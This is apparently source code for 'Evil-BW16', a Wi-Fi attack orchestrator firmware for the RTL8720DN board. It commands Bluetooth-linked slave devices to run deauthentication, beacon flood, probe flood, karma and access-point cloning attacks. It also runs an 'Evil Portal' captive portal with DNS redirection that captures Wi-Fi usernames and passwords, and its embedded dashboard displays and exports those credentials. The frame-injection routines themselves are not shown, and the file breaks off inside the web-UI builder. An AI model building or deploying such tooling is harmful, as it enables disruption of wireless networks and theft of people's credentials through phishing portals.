Files
2025-07-19 06:48:49 -07:00

2445 lines
104 KiB
C++

#define ROLE_MASTER
#include "Evil-BW16/BW16_defs.h"
#undef max
#undef min
#include <Arduino.h>
#include <vector>
#include <string.h>
#include <wifi_conf.h>
#include <wifi_util.h>
#include <wifi_structures.h>
#include <WiFi.h>
#include <BLEDevice.h>
#include <WebServer.h>
#include <ArduinoJson.h>
#include <WiFiUdp.h>
#include <DNSServer.h>
// RTL8720DN platform includes
#include <FreeRTOS.h>
#include <rtl8721d.h>
// Platform-specific helper functions
uint32_t rtl_getFreeHeapSize() {
return xPortGetFreeHeapSize();
}
// Channel arrays definition
const int CHANNELS_2GHZ[CHANNELS_2GHZ_COUNT] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13};
const int CHANNELS_5GHZ[CHANNELS_5GHZ_COUNT] = {36, 40, 44, 48, 52, 56, 60, 64, 100, 104, 108, 112, 116, 120, 124, 128, 132, 136, 140, 144, 149, 153, 157, 161, 165};
// Enhanced slave data structure
struct Slave {
BLEClient* client;
BLERemoteCharacteristic* cmdChar;
BLERemoteCharacteristic* notifyChar;
String id;
String macAddress;
unsigned long lastSeen;
unsigned long lastReconnectAttempt;
bool isConnected;
int rssi;
uint8_t capabilities; // Bit flags for slave capabilities
String firmwareVersion;
};
// Global state management
std::vector<Slave> slaves;
std::vector<String> apList;
std::vector<String> capturedCredentials;
// Dual-band web servers
WebServer server(80); // 2.4GHz management interface
WebServer portalServer(80); // 5GHz portal interface
DNSServer dnsServer; // DNS server for captive portal
// Portal configuration
String portalSSID = PORTAL_DEFAULT_SSID;
String portalPassword = "";
bool portalEnabled = false;
bool dualBandActive = false;
// Attack coordination
struct AttackSession {
String type;
std::vector<String> targetSlaves;
std::vector<String> targetAPs;
unsigned long startTime;
unsigned long duration;
bool isActive;
int intensity;
int framesTransmitted;
int targetsHit;
};
AttackSession currentAttack;
// Comprehensive Statistics System
struct SystemStats {
// System uptime and performance
unsigned long systemStartTime;
unsigned long totalUptime;
int systemRestarts;
float cpuUsage;
int freeHeapMemory;
int maxHeapUsage;
// BLE Communication stats
int bleConnectionAttempts;
int bleConnectionSuccesses;
int bleConnectionFailures;
int bleReconnections;
int totalBleMessages;
int bleTimeouts;
float avgBleLatency;
// Portal statistics
int portalSessions;
int portalVisitors;
int credentialsCaptured;
int dnsQueries;
int portalRedirects;
unsigned long portalUptime;
// Attack statistics
int totalAttacksLaunched;
int deauthAttacks;
int beaconFloodAttacks;
int probeFloodAttacks;
int karmaAttacks;
int distributedAttacks;
int successfulTargets;
int framesTransmitted;
float avgAttackDuration;
// Network statistics
int networksScanned;
int uniqueNetworksFound;
int networksTargeted;
int channels2ghzUsed;
int channels5ghzUsed;
float signalStrengthAvg;
// Slave performance
int slavesConnected;
int slavesMax;
int commandsSent;
int commandsSuccessful;
int commandsFailed;
float slaveResponseTime;
};
SystemStats globalStats = {0};
// Real-time metrics for live monitoring
struct LiveMetrics {
float attacksPerMinute;
float credentialsPerHour;
float dataTransferRate;
int currentCpuLoad;
int activeConnections;
float networkScanRate;
unsigned long lastUpdate;
};
LiveMetrics liveMetrics = {0};
// Forward declarations for HTTP handlers
void handleRoot();
void handleStatus();
void handleCmd();
void handleLogs();
void handleApList();
void handlePortalRequest(); // Generic handler for captive portal
void handlePortalLogin();
// Evil Portal
void startEvilPortal();
void stopEvilPortal();
void processDnsRequest();
// A circular buffer to store the global log
#define MY_LOG_BUFFER_SIZE 50
String logBuffer[MY_LOG_BUFFER_SIZE];
int logBufferIndex = 0;
int logCount = 0;
int lastLogSentIndex = -1;
//// *** Logging *** ////
void addToLog(String message) {
logBuffer[logBufferIndex] = message;
logBufferIndex = (logBufferIndex + 1) % MY_LOG_BUFFER_SIZE;
if (logCount < MY_LOG_BUFFER_SIZE) logCount++;
Serial.println(message); // Also print to local serial
}
//// *** Enhanced BLE Callbacks & Connection Logic *** ////
void bleAdvertCallback(BLEAdvertisedDevice dev) {
// Only connect to Evil-BW16 slave devices
if (dev.getServiceUUID() == BLEUUID(SERVICE_UUID) && slaves.size() < MAX_SLAVES) {
String deviceAddr = dev.getAddress().toString();
addToLog("Found Evil-BW16 slave: " + deviceAddr + " (RSSI: " + String(dev.getRSSI()) + ")");
// Check if already tracking this slave
bool already_exists = false;
for (auto &s : slaves) {
if (s.id == deviceAddr) {
already_exists = true;
s.rssi = dev.getRSSI(); // Update RSSI
if (!s.isConnected && (millis() - s.lastReconnectAttempt > BLE_RECONNECT_INTERVAL_MS)) {
// Attempt reconnection
addToLog("Attempting to reconnect to " + deviceAddr);
connectToSlave(s, dev);
}
break;
}
}
if (!already_exists) {
// Create new slave entry and attempt connection
Slave newSlave = {
nullptr, nullptr, nullptr,
deviceAddr, deviceAddr, millis(), 0,
false, dev.getRSSI(), 0x00, "unknown"
};
slaves.push_back(newSlave);
connectToSlave(slaves.back(), dev);
}
}
}
// Enhanced connection function with better error handling
bool connectToSlave(Slave &slave, BLEAdvertisedDevice dev) {
slave.lastReconnectAttempt = millis();
addToLog("Connecting to slave: " + slave.id);
// Clean up any existing connection first
if (slave.client) {
slave.client->disconnect();
delete slave.client;
slave.client = nullptr;
slave.cmdChar = nullptr;
slave.notifyChar = nullptr;
}
BLEClient* client = BLE.connect(dev);
if (client) {
// Set connection timeout
client->setConnectTimeout(BLE_CONNECTION_TIMEOUT_MS);
try {
if (client->discoverService(SERVICE_UUID)) {
BLERemoteService* svc = client->getService(SERVICE_UUID);
if (svc) {
BLERemoteCharacteristic* cmd = svc->getCharacteristic(CMD_CHAR_UUID);
BLERemoteCharacteristic* notify = svc->getCharacteristic(NOTIFY_CHAR_UUID);
if (cmd && notify) {
// Set up notification callback with error checking
if (notify->subscribe(true)) {
notify->setNotifyCallback(detectionNotifyCallback);
// Update slave structure
slave.client = client;
slave.cmdChar = cmd;
slave.notifyChar = notify;
slave.isConnected = true;
slave.lastSeen = millis();
// Request slave capabilities and firmware version
sendCommandToSlave(slave, "get_info");
// Update statistics
updateStats_BleConnection(true);
addToLog("Successfully connected to slave: " + slave.id);
return true;
} else {
addToLog("Failed to subscribe to notifications on " + slave.id);
}
} else {
addToLog("Failed to find characteristics on " + slave.id);
}
} else {
addToLog("Failed to find service on " + slave.id);
}
} else {
addToLog("Failed to discover services on " + slave.id);
}
} catch (...) {
addToLog("Exception during BLE connection to " + slave.id);
}
// Clean up failed connection
client->disconnect();
delete client;
} else {
addToLog("Failed to establish BLE connection to " + slave.id);
}
// Update statistics for failed connection
updateStats_BleConnection(false);
slave.isConnected = false;
slave.client = nullptr;
slave.cmdChar = nullptr;
slave.notifyChar = nullptr;
return false;
}
// Helper function to check if targets array contains a specific ID
bool containsTarget(JsonArray &targets, const String &id) {
for (JsonVariant target : targets) {
if (target.as<String>() == id) {
return true;
}
}
return false;
}
// Helper function to send commands to specific slaves
bool sendCommandToSlave(Slave &slave, const String &command) {
if (slave.isConnected && slave.cmdChar) {
try {
slave.cmdChar->writeValue(command.c_str(), command.length());
slave.lastSeen = millis();
globalStats.totalBleMessages++;
updateStats_Command(true);
return true;
} catch (...) {
addToLog("Failed to send command to " + slave.id);
slave.isConnected = false;
updateStats_Command(false);
}
}
updateStats_Command(false);
return false;
}
// Called when a slave sends a notification
void detectionNotifyCallback(BLERemoteCharacteristic* chr, uint8_t* data, uint16_t len) {
String fromAddr = "Unknown";
for(auto &s : slaves) {
if (s.notifyChar == chr) {
fromAddr = s.id;
s.lastSeen = millis(); // Update last seen time
break;
}
}
String msg;
if (len > 0) {
char buf[len + 1];
memcpy(buf, data, len);
buf[len] = '\0';
msg = String(buf);
}
if (msg.startsWith("AP_SCAN_RESULT:")) {
apList.push_back(msg.substring(15));
} else {
addToLog("[" + fromAddr + "]: " + msg);
}
}
//// *** Web Server Handlers *** ////
// Enhanced file system implementation for RTL8720DN
String loadWebFile(const String &filename) {
// Try to load from filesystem first (SPIFFS/LittleFS)
String content = loadFromFilesystem(filename);
if (content.length() > 0) {
return content;
}
// Fallback to embedded content if filesystem not available
if (filename == "/index.html" || filename == "/") {
return loadAdvancedWebUI();
}
if (filename == "/style.css") {
return loadCSSFile();
}
if (filename == "/script.js") {
return loadJSFile();
}
return "";
}
// Load file from filesystem (SPIFFS/LittleFS)
String loadFromFilesystem(const String &filename) {
// This function will be implemented based on available filesystem library
// For RTL8720DN, we need to check what filesystem support is available
// Placeholder implementation - replace with actual filesystem code
if (filename == "/index.html" || filename == "/") {
// Try to read from SPIFFS/LittleFS
// File file = SPIFFS.open("/web_ui/index.html", "r");
// if (file) {
// String content = file.readString();
// file.close();
// return content;
// }
// For now, return empty to use embedded fallback
return "";
}
return "";
}
// Load the advanced web UI content
String loadAdvancedWebUI() {
// This would normally read from SPIFFS/LittleFS
// For now, we'll embed the advanced UI content
return getAdvancedWebUIContent();
}
// Load CSS file content
String loadCSSFile() {
// Return the CSS styles for the advanced UI
return R"(
:root {
--primary-green: #00ff41;
--primary-red: #ff004f;
--bg-dark: #0d0d0d;
--bg-card: #1a1a1a;
--bg-secondary: #111;
--border-color: #333;
--text-primary: #00ff41;
--text-secondary: #aaa;
--warning: #ff6666;
--success: #44ff44;
--info: #4444ff;
}
* { box-sizing: border-box; margin: 0; padding: 0; }
body {
font-family: 'Courier New', monospace;
background: var(--bg-dark);
color: var(--text-primary);
line-height: 1.4;
overflow-x: hidden;
}
.header {
background: linear-gradient(135deg, var(--bg-card), var(--bg-secondary));
padding: 20px;
border-bottom: 2px solid var(--primary-red);
display: flex;
justify-content: space-between;
align-items: center;
flex-wrap: wrap;
}
.logo h1 {
color: var(--primary-red);
font-size: 24px;
text-shadow: 0 0 10px var(--primary-red);
animation: glow 2s infinite alternate;
}
@keyframes glow {
from { text-shadow: 0 0 5px var(--primary-red); }
to { text-shadow: 0 0 15px var(--primary-red); }
}
.system-status {
display: flex;
gap: 20px;
flex-wrap: wrap;
}
.status-item {
text-align: center;
padding: 10px;
background: var(--bg-secondary);
border: 1px solid var(--border-color);
border-radius: 5px;
min-width: 80px;
}
.status-value {
font-size: 18px;
font-weight: bold;
color: var(--success);
}
.status-label {
font-size: 12px;
color: var(--text-secondary);
}
.nav-container {
background: var(--bg-card);
border-bottom: 1px solid var(--border-color);
overflow-x: auto;
}
.nav {
display: flex;
min-width: 800px;
}
.nav-tab {
background: transparent;
border: none;
color: var(--text-primary);
padding: 15px 20px;
cursor: pointer;
border-bottom: 3px solid transparent;
transition: all 0.3s;
white-space: nowrap;
font-family: inherit;
}
.nav-tab:hover {
background: var(--bg-secondary);
border-bottom-color: var(--primary-green);
}
.nav-tab.active {
background: var(--bg-secondary);
border-bottom-color: var(--primary-red);
color: white;
}
.container {
display: grid;
grid-template-columns: 1fr;
gap: 20px;
padding: 20px;
max-width: 1400px;
margin: 0 auto;
}
.grid-2 {
display: grid;
grid-template-columns: 1fr 1fr;
gap: 20px;
}
.grid-3 {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(300px, 1fr));
gap: 20px;
}
.card {
background: var(--bg-card);
border: 1px solid var(--border-color);
border-radius: 8px;
padding: 20px;
transition: all 0.3s;
}
.card:hover {
border-color: var(--primary-green);
box-shadow: 0 0 15px rgba(0, 255, 65, 0.1);
}
.card-header {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 15px;
padding-bottom: 10px;
border-bottom: 1px solid var(--border-color);
}
.card-title {
color: var(--primary-red);
font-size: 18px;
font-weight: bold;
}
.card-badge {
background: var(--primary-red);
color: white;
padding: 4px 8px;
border-radius: 12px;
font-size: 12px;
}
button {
background: var(--bg-secondary);
color: var(--text-primary);
border: 1px solid var(--primary-green);
padding: 10px 15px;
margin: 5px;
cursor: pointer;
font-family: inherit;
border-radius: 4px;
transition: all 0.3s;
font-size: 14px;
}
button:hover {
background: var(--primary-green);
color: var(--bg-dark);
transform: translateY(-1px);
box-shadow: 0 4px 8px rgba(0, 255, 65, 0.3);
}
.btn-attack {
border-color: var(--warning);
color: var(--warning);
}
.btn-attack:hover {
background: var(--warning);
color: white;
}
.btn-danger {
border-color: var(--primary-red);
color: var(--primary-red);
}
.btn-danger:hover {
background: var(--primary-red);
color: white;
}
.btn-success {
border-color: var(--success);
color: var(--success);
}
.btn-success:hover {
background: var(--success);
color: var(--bg-dark);
}
input, select {
background: var(--bg-secondary);
color: var(--text-primary);
border: 1px solid var(--border-color);
padding: 10px;
font-family: inherit;
border-radius: 4px;
margin: 5px;
transition: all 0.3s;
}
input:focus, select:focus {
outline: none;
border-color: var(--primary-green);
box-shadow: 0 0 0 2px rgba(0, 255, 65, 0.2);
}
.stats-grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
gap: 15px;
margin: 20px 0;
}
.stat-card {
background: var(--bg-secondary);
padding: 15px;
border-radius: 6px;
border-left: 4px solid var(--primary-green);
text-align: center;
}
.stat-value {
font-size: 24px;
font-weight: bold;
color: var(--success);
display: block;
}
.stat-label {
font-size: 12px;
color: var(--text-secondary);
margin-top: 5px;
}
.chart-container {
position: relative;
height: 300px;
margin: 20px 0;
}
#terminal {
background: var(--bg-dark);
height: 300px;
overflow-y: auto;
padding: 15px;
border: 1px solid var(--border-color);
white-space: pre-wrap;
font-size: 12px;
border-radius: 4px;
}
.slave-grid {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(250px, 1fr));
gap: 15px;
margin: 15px 0;
}
.slave-card {
background: var(--bg-secondary);
padding: 15px;
border-radius: 6px;
border: 1px solid var(--border-color);
transition: all 0.3s;
}
.slave-card.online {
border-left: 4px solid var(--success);
}
.slave-card.offline {
border-left: 4px solid var(--warning);
opacity: 0.7;
}
.slave-header {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 10px;
}
.slave-id {
font-weight: bold;
color: var(--text-primary);
}
.slave-status {
padding: 2px 6px;
border-radius: 10px;
font-size: 10px;
text-transform: uppercase;
}
.status-online {
background: var(--success);
color: var(--bg-dark);
}
.status-offline {
background: var(--warning);
color: white;
}
.network-list {
max-height: 400px;
overflow-y: auto;
}
.network-item {
display: flex;
justify-content: space-between;
align-items: center;
padding: 10px;
border-bottom: 1px solid var(--border-color);
cursor: pointer;
transition: all 0.3s;
}
.network-item:hover {
background: var(--bg-secondary);
border-left: 3px solid var(--primary-green);
}
.credential-item {
background: var(--bg-secondary);
padding: 15px;
margin: 10px 0;
border-left: 3px solid var(--primary-red);
border-radius: 4px;
font-family: monospace;
font-size: 12px;
word-break: break-all;
}
.tab-content {
display: none;
}
.tab-content.active {
display: block;
}
@media (max-width: 768px) {
.grid-2, .grid-3 {
grid-template-columns: 1fr;
}
.header {
flex-direction: column;
gap: 15px;
}
}
)";
}
// Load JavaScript file content
String loadJSFile() {
// Return the JavaScript functionality for the advanced UI
return R"(
let globalStats = {};
let charts = {};
// Tab Management
function openTab(evt, tabName) {
var tabContents = document.getElementsByClassName("tab-content");
for (var i = 0; i < tabContents.length; i++) {
tabContents[i].classList.remove("active");
}
var navTabs = document.getElementsByClassName("nav-tab");
for (var i = 0; i < navTabs.length; i++) {
navTabs[i].classList.remove("active");
}
document.getElementById(tabName).classList.add("active");
evt.currentTarget.classList.add("active");
// Load tab-specific content
if (tabName === 'analytics') loadAnalytics();
if (tabName === 'credentials') refreshCredentials();
if (tabName === 'cloning') updateApList();
}
// Statistics and Status Updates
function updateSystemStatus() {
fetch("/stats")
.then(response => response.json())
.then(stats => {
globalStats = stats;
updateHeaderStatus(stats);
updateDashboard(stats);
updateSlaveGrid(stats);
updateAttackStatus(stats);
updatePortalStats(stats);
})
.catch(error => console.error('Error fetching stats:', error));
}
function updateHeaderStatus(stats) {
document.getElementById('uptime').textContent = formatUptime(stats.system?.uptime || 0);
document.getElementById('slavesCount').textContent = stats.slaves?.connected || 0;
document.getElementById('attacksCount').textContent = stats.attacks?.totalLaunched || 0;
document.getElementById('credentialsCount').textContent = stats.portal?.credentialsCaptured || 0;
}
function updateDashboard(stats) {
if (!document.getElementById('dashboard').classList.contains('active')) return;
// Live Statistics
const liveStatsHTML = `
<div class="stat-card">
<span class="stat-value">${stats.live?.attacksPerMinute?.toFixed(1) || 0}</span>
<div class="stat-label">Attacks/Min</div>
</div>
<div class="stat-card">
<span class="stat-value">${stats.live?.credentialsPerHour?.toFixed(1) || 0}</span>
<div class="stat-label">Creds/Hour</div>
</div>
<div class="stat-card">
<span class="stat-value">${stats.system?.freeHeap || 0}</span>
<div class="stat-label">Free RAM (B)</div>
</div>
<div class="stat-card">
<span class="stat-value">${stats.ble?.successRate?.toFixed(1) || 0}%</span>
<div class="stat-label">BLE Success</div>
</div>
<div class="stat-card">
<span class="stat-value">${stats.network?.networksScanned || 0}</span>
<div class="stat-label">Networks Found</div>
</div>
<div class="stat-card">
<span class="stat-value">${stats.attacks?.framesTransmitted || 0}</span>
<div class="stat-label">Frames Sent</div>
</div>
`;
document.getElementById('liveStats').innerHTML = liveStatsHTML;
updateCharts(stats);
}
function updateSlaveGrid(stats) {
if (!stats.slaveDetails) return;
let slaveHTML = '';
stats.slaveDetails.forEach(slave => {
const statusClass = slave.connected ? 'online' : 'offline';
const statusText = slave.connected ? 'ONLINE' : 'OFFLINE';
const lastSeen = Math.floor((Date.now() - slave.lastSeen) / 1000);
slaveHTML += `
<div class="slave-card ${statusClass}">
<div class="slave-header">
<div class="slave-id">${slave.id}</div>
<span class="slave-status status-${statusClass}">${statusText}</span>
</div>
<div style="font-size: 12px; color: var(--text-secondary);">
<div>RSSI: ${slave.rssi} dBm</div>
<div>Last Seen: ${lastSeen}s ago</div>
<div>Firmware: ${slave.firmware}</div>
<div>Uptime: ${formatUptime(slave.uptime)}</div>
</div>
<label style="display: flex; align-items: center; margin-top: 10px;">
<input type="checkbox" class="slave" value="${slave.id}" style="margin-right: 10px;">
Select for attacks
</label>
</div>
`;
});
document.getElementById('slaveGrid').innerHTML = slaveHTML || '<p>No slaves detected. Ensure slave devices are powered on and in range.</p>';
document.getElementById('slaveCount').textContent = `${stats.slaves?.connected || 0} Connected`;
}
function updateAttackStatus(stats) {
const attackStatusHTML = `
<div class="stats-grid">
<div class="stat-card">
<span class="stat-value">${stats.attacks?.totalLaunched || 0}</span>
<div class="stat-label">Total Attacks</div>
</div>
<div class="stat-card">
<span class="stat-value">${stats.attacks?.distributedAttacks || 0}</span>
<div class="stat-label">Distributed</div>
</div>
<div class="stat-card">
<span class="stat-value">${stats.attacks?.deauthAttacks || 0}</span>
<div class="stat-label">Deauth</div>
</div>
<div class="stat-card">
<span class="stat-value">${stats.attacks?.beaconFloods || 0}</span>
<div class="stat-label">Beacon Floods</div>
</div>
</div>
<div style="margin-top: 15px;">
<strong>Success Rate:</strong> ${((stats.attacks?.successfulTargets || 0) / (stats.attacks?.totalLaunched || 1) * 100).toFixed(1)}%
</div>
`;
document.getElementById('attackStatus').innerHTML = attackStatusHTML;
}
function updatePortalStats(stats) {
const portal = stats.portal || {};
document.getElementById('portalStatusText').textContent = portal.enabled ? 'ACTIVE' : 'INACTIVE';
const portalStatsHTML = `
<div class="stats-grid">
<div class="stat-card">
<span class="stat-value">${portal.sessions || 0}</span>
<div class="stat-label">Sessions</div>
</div>
<div class="stat-card">
<span class="stat-value">${portal.visitors || 0}</span>
<div class="stat-label">Visitors</div>
</div>
<div class="stat-card">
<span class="stat-value">${portal.credentialsCaptured || 0}</span>
<div class="stat-label">Credentials</div>
</div>
<div class="stat-card">
<span class="stat-value">${portal.redirects || 0}</span>
<div class="stat-label">Redirects</div>
</div>
</div>
`;
document.getElementById('portalStats').innerHTML = portalStatsHTML;
}
function launchAttack(type) {
const targets = getSelectedSlaves();
fetch('/cmd', {
method: 'POST',
body: JSON.stringify({cmd: type, targets: targets}),
headers: {'Content-Type': 'application/json'}
})
.then(() => {
showNotification('Attack launched: ' + type, 'success');
})
.catch(error => {
showNotification('Attack failed: ' + error, 'error');
});
}
function togglePortal() {
const ssid = document.getElementById('portalSSID').value;
fetch('/cmd', {
method: 'POST',
body: JSON.stringify({cmd: 'enable_portal', targets: []}),
headers: {'Content-Type': 'application/json'}
})
.then(() => {
showNotification('Portal toggled', 'success');
})
.catch(error => {
showNotification('Portal toggle failed: ' + error, 'error');
});
}
function scanAPs() {
fetch('/cmd', {
method: 'POST',
body: JSON.stringify({cmd: 'scan_aps', targets: []}),
headers: {'Content-Type': 'application/json'}
})
.then(() => {
showNotification('AP scan initiated', 'success');
})
.catch(error => {
showNotification('AP scan failed: ' + error, 'error');
});
}
function getSelectedSlaves() {
const selected = [];
document.querySelectorAll('.slave:checked').forEach(cb => {
selected.push(cb.value);
});
return selected;
}
function setTargets() {
const ssid = document.getElementById('targetSSID').value;
const channel = document.getElementById('targetChannel').value;
if (ssid || channel) {
fetch('/cmd', {
method: 'POST',
body: JSON.stringify({cmd: 'target ' + ssid + ' ' + channel, targets: []}),
headers: {'Content-Type': 'application/json'}
})
.then(() => {
showNotification('Targets set', 'success');
})
.catch(error => {
showNotification('Target setting failed: ' + error, 'error');
});
}
}
function refreshCredentials() {
fetch('/credentials')
.then(r => r.json())
.then(creds => {
let html = '';
creds.forEach(cred => {
html += `
<div class="credential-item">
<strong>SSID:</strong> ${cred.ssid}<br>
<strong>Username:</strong> ${cred.username}<br>
<strong>Password:</strong> ${cred.password}<br>
<strong>Time:</strong> ${new Date(cred.timestamp).toLocaleString()}
</div>
`;
});
document.getElementById('credentialsList').innerHTML = html || '<p>No credentials captured yet.</p>';
});
}
function exportCredentials() {
fetch('/credentials')
.then(r => r.json())
.then(creds => {
const dataStr = "data:text/json;charset=utf-8," + encodeURIComponent(JSON.stringify(creds, null, 2));
const downloadAnchorNode = document.createElement('a');
downloadAnchorNode.setAttribute("href", dataStr);
downloadAnchorNode.setAttribute("download", "credentials.json");
document.body.appendChild(downloadAnchorNode);
downloadAnchorNode.click();
downloadAnchorNode.remove();
});
}
function updateApList() {
fetch('/aps')
.then(r => r.json())
.then(aps => {
let html = '';
aps.forEach(ap => {
html += `
<div class="network-item" onclick="cloneAP('${ap.ssid}', ${ap.channel})">
<div>
<strong>${ap.ssid}</strong><br>
<small>Channel: ${ap.channel} | RSSI: ${ap.rssi} dBm | Security: ${ap.security}</small>
</div>
<button>Clone</button>
</div>
`;
});
document.getElementById('apList').innerHTML = html || '<p>No networks found. Run a scan first.</p>';
});
}
function cloneAP(ssid, channel) {
fetch('/cmd', {
method: 'POST',
body: JSON.stringify({cmd: 'clone_ap,' + ssid + ',' + channel, targets: []}),
headers: {'Content-Type': 'application/json'}
})
.then(() => {
showNotification('AP cloning initiated: ' + ssid, 'success');
})
.catch(error => {
showNotification('AP cloning failed: ' + error, 'error');
});
}
function loadAnalytics() {
if (charts.attackChart) charts.attackChart.destroy();
if (charts.successChart) charts.successChart.destroy();
const ctx1 = document.getElementById('attackChart').getContext('2d');
const ctx2 = document.getElementById('successChart').getContext('2d');
charts.attackChart = new Chart(ctx1, {
type: 'line',
data: {
labels: ['1m', '2m', '3m', '4m', '5m'],
datasets: [{
label: 'Attacks/Min',
data: [12, 15, 18, 14, 16],
borderColor: '#00ff41',
backgroundColor: 'rgba(0, 255, 65, 0.1)'
}]
},
options: {
responsive: true,
maintainAspectRatio: false
}
});
charts.successChart = new Chart(ctx2, {
type: 'doughnut',
data: {
labels: ['Successful', 'Failed'],
datasets: [{
data: [75, 25],
backgroundColor: ['#44ff44', '#ff6666']
}]
},
options: {
responsive: true,
maintainAspectRatio: false
}
});
}
function updateCharts(stats) {
if (charts.performanceChart) charts.performanceChart.destroy();
if (charts.bleChart) charts.bleChart.destroy();
const ctx1 = document.getElementById('performanceChart').getContext('2d');
const ctx2 = document.getElementById('bleChart').getContext('2d');
charts.performanceChart = new Chart(ctx1, {
type: 'line',
data: {
labels: ['1m', '2m', '3m', '4m', '5m'],
datasets: [{
label: 'CPU Usage',
data: [stats.system?.cpuUsage || 0, stats.system?.cpuUsage || 0, stats.system?.cpuUsage || 0, stats.system?.cpuUsage || 0, stats.system?.cpuUsage || 0],
borderColor: '#ff004f',
backgroundColor: 'rgba(255, 0, 79, 0.1)'
}]
},
options: {
responsive: true,
maintainAspectRatio: false
}
});
charts.bleChart = new Chart(ctx2, {
type: 'bar',
data: {
labels: ['Connected', 'Disconnected', 'Errors'],
datasets: [{
label: 'BLE Status',
data: [stats.ble?.connected || 0, stats.ble?.disconnected || 0, stats.ble?.errors || 0],
backgroundColor: ['#44ff44', '#ff6666', '#ffaa00']
}]
},
options: {
responsive: true,
maintainAspectRatio: false
}
});
}
function updateLogs() {
fetch('/logs')
.then(r => r.text())
.then(logs => {
document.getElementById('terminal').textContent = logs;
});
}
function clearLogs() {
fetch('/cmd', {
method: 'POST',
body: JSON.stringify({cmd: 'clear_logs', targets: []}),
headers: {'Content-Type': 'application/json'}
})
.then(() => {
document.getElementById('terminal').textContent = '';
});
}
function showNotification(message, type = 'info') {
const notification = document.createElement('div');
notification.style.cssText = 'position: fixed; top: 20px; right: 20px; background: var(--bg-card); color: var(--text-primary); padding: 15px; border-radius: 5px; border-left: 4px solid var(--primary-green); z-index: 1000; max-width: 300px; word-wrap: break-word;';
if (type === 'error') notification.style.borderLeftColor = 'var(--warning)';
if (type === 'success') notification.style.borderLeftColor = 'var(--success)';
notification.textContent = message;
document.body.appendChild(notification);
setTimeout(() => {
notification.remove();
}, 3000);
}
function formatUptime(ms) {
const seconds = Math.floor(ms / 1000);
const minutes = Math.floor(seconds / 60);
const hours = Math.floor(minutes / 60);
const days = Math.floor(hours / 24);
if (days > 0) return days + 'd ' + (hours % 24) + 'h ' + (minutes % 60) + 'm';
if (hours > 0) return hours + 'h ' + (minutes % 60) + 'm ' + (seconds % 60) + 's';
if (minutes > 0) return minutes + 'm ' + (seconds % 60) + 's';
return seconds + 's';
}
function formatBytes(bytes) {
if (bytes === 0) return '0 B';
const k = 1024;
const sizes = ['B', 'KB', 'MB', 'GB'];
const i = Math.floor(Math.log(bytes) / Math.log(k));
return parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + ' ' + sizes[i];
}
// Auto-update intervals
setInterval(updateSystemStatus, 2000);
setInterval(updateLogs, 5000);
// Initialize
updateSystemStatus();
updateLogs();
)";
}
// Get the advanced web UI content (embedded version)
String getAdvancedWebUIContent() {
// This is a simplified version - the full UI is in data/web_ui/index.html
String content = "<!DOCTYPE html><html><head><title>Evil-BW16 Advanced Orchestrator</title>";
content += "<meta name='viewport' content='width=device-width, initial-scale=1'>";
content += "<script src='https://cdn.jsdelivr.net/npm/chart.js'></script>";
content += "<style>";
content += ":root{--primary-green:#00ff41;--primary-red:#ff004f;--bg-dark:#0d0d0d;--bg-card:#1a1a1a;--bg-secondary:#111;--border-color:#333;--text-primary:#00ff41;--text-secondary:#aaa;--warning:#ff6666;--success:#44ff44;--info:#4444ff}";
content += "*{box-sizing:border-box;margin:0;padding:0}body{font-family:'Courier New',monospace;background:var(--bg-dark);color:var(--text-primary);line-height:1.4;overflow-x:hidden}";
content += ".header{background:linear-gradient(135deg,var(--bg-card),var(--bg-secondary));padding:20px;border-bottom:2px solid var(--primary-red);display:flex;justify-content:space-between;align-items:center;flex-wrap:wrap}";
content += ".logo{display:flex;align-items:center;gap:15px}.logo h1{color:var(--primary-red);font-size:24px;text-shadow:0 0 10px var(--primary-red);animation:glow 2s infinite alternate}";
content += "@keyframes glow{from{text-shadow:0 0 5px var(--primary-red)}to{text-shadow:0 0 15px var(--primary-red)}}";
content += ".system-status{display:flex;gap:20px;flex-wrap:wrap}.status-item{text-align:center;padding:10px;background:var(--bg-secondary);border:1px solid var(--border-color);border-radius:5px;min-width:80px}";
content += ".status-value{font-size:18px;font-weight:bold;color:var(--success)}.status-label{font-size:12px;color:var(--text-secondary)}";
content += ".nav-container{background:var(--bg-card);border-bottom:1px solid var(--border-color);overflow-x:auto}.nav{display:flex;min-width:800px}";
content += ".nav-tab{background:transparent;border:none;color:var(--text-primary);padding:15px 20px;cursor:pointer;border-bottom:3px solid transparent;transition:all 0.3s;white-space:nowrap;font-family:inherit}";
content += ".nav-tab:hover{background:var(--bg-secondary);border-bottom-color:var(--primary-green)}.nav-tab.active{background:var(--bg-secondary);border-bottom-color:var(--primary-red);color:white}";
content += ".container{display:grid;grid-template-columns:1fr;gap:20px;padding:20px;max-width:1400px;margin:0 auto}.grid-2{display:grid;grid-template-columns:1fr 1fr;gap:20px}.grid-3{display:grid;grid-template-columns:repeat(auto-fit,minmax(300px,1fr));gap:20px}";
content += ".card{background:var(--bg-card);border:1px solid var(--border-color);border-radius:8px;padding:20px;transition:all 0.3s}.card:hover{border-color:var(--primary-green);box-shadow:0 0 15px rgba(0,255,65,0.1)}";
content += ".card-header{display:flex;justify-content:space-between;align-items:center;margin-bottom:15px;padding-bottom:10px;border-bottom:1px solid var(--border-color)}";
content += ".card-title{color:var(--primary-red);font-size:18px;font-weight:bold}.card-badge{background:var(--primary-red);color:white;padding:4px 8px;border-radius:12px;font-size:12px}";
content += "button{background:var(--bg-secondary);color:var(--text-primary);border:1px solid var(--primary-green);padding:10px 15px;margin:5px;cursor:pointer;font-family:inherit;border-radius:4px;transition:all 0.3s;font-size:14px}";
content += "button:hover{background:var(--primary-green);color:var(--bg-dark);transform:translateY(-1px);box-shadow:0 4px 8px rgba(0,255,65,0.3)}";
content += ".btn-attack{border-color:var(--warning);color:var(--warning)}.btn-attack:hover{background:var(--warning);color:white}";
content += ".btn-danger{border-color:var(--primary-red);color:var(--primary-red)}.btn-danger:hover{background:var(--primary-red);color:white}";
content += ".btn-success{border-color:var(--success);color:var(--success)}.btn-success:hover{background:var(--success);color:var(--bg-dark)}";
content += "input,select{background:var(--bg-secondary);color:var(--text-primary);border:1px solid var(--border-color);padding:10px;font-family:inherit;border-radius:4px;margin:5px;transition:all 0.3s}";
